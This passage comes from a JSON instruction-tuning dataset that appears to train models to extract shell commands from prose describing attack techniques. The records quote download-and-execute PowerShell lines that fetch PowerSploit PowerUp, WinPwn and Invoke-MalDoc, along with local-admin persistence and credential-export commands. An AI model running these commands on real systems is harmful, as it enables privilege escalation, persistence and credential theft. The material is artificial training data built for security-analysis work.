[Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell method creates a local admin user without net.exe by running: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To collect detailed system information, use the Morerecon function of WinPwn with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMorerecon -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nMorerecon -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The clipboard data can be copied and saved with this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nSet-Clipboard -value \"Atomic T1115 Test, grab data from clipboard via VBA\"\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1115\\src\\T1115-macrocode.txt\" -officeProduct \"Word\" -sub \"GetClipboard\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nSet-Clipboard -value \\\"Atomic T1115 Test, grab data from clipboard via VBA\\\"\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1115\\\\src\\\\T1115-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"GetClipboard\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can examine the current AWS account's password policy settings with the command: aws iam get-account-password-policy",
    "output": "{\"command_list\": [\"aws iam get-account-password-policy\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test JScript execution and display system information in four message boxes, use the following command: wscript \"#{jscript}\"\n",
    "output": "{\"command_list\": [\"wscript \\\"#{jscript}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish a named pipe for message exchange between processes, run the following executable from the Center for Threat Informed Defense: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 5",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 5\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can locate any .NET binary file in a share by executing this command, which utilizes WinPwn's Dotnetsearch function:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nDotnetsearch -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nDotnetsearch -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing this command: rundll32.exe keymgr,KRShowKeyMgr, you can access the function `KRShowKeyMgr` in `keymgr.dll` to export Windows credentials to a file for later retrieval and analysis.",
    "output": "{\"command_list\": [\"rundll32.exe keymgr,KRShowKeyMgr\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      